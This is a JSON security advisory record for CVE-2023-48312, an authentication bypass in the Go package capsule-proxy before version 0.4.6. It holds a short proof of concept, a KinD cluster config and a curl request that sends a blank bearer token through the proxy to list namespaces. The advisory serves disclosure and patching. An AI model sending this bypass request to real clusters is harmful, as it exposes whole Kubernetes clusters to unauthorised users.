Vulnerabilities in pkg:golang/github.com/projectcapsule/capsule-proxy

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fpvw-6m5v-hqfp",
  "modified" : "2023-11-27T22:07:37Z",
  "published" : "2023-11-24T16:53:25Z",
  "aliases" : [ "CVE-2023-48312" ],
  "summary" : "Capsule Proxy Authentication bypass using an empty token",
  "details" : "The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.\n\nAll the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.\n\n# PoC\n\nStart a KinD cluster with the `anonymous-auth` value to `false`. \nIf it is true, it uses anonymous permissions which are very limited by default\n\n```yaml\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  kubeadmConfigPatches:\n  - |\n    kind: ClusterConfiguration\n    apiServer:\n        extraArgs:\n          anonymous-auth: \"false\"\n```\n\nInstall `capsule` and `capsule-proxy`\n\n```\nk port-forward svc/capsule-proxy 9001    \nForwarding from 127.0.0.1:9001 -> 9001\nForwarding from [::1]:9001 -> 9001\nHandling connection for 9001\n```\n\nThen query the proxy\n```\ncurl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'\n```\n\n# Impact\n\nThe whole cluster is exposed to unauthorised users.\n\nThis privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/projectcapsule/capsule-proxy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.4.5"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/clastix/capsule-proxy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/projectcapsule/capsule-proxy/security/advisories/GHSA-fpvw-6m5v-hqfp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-48312"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/projectcapsule/capsule-proxy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-24T16:53:25Z",
    "nvd_published_at" : "2023-11-24T18:15:07Z"
  }
}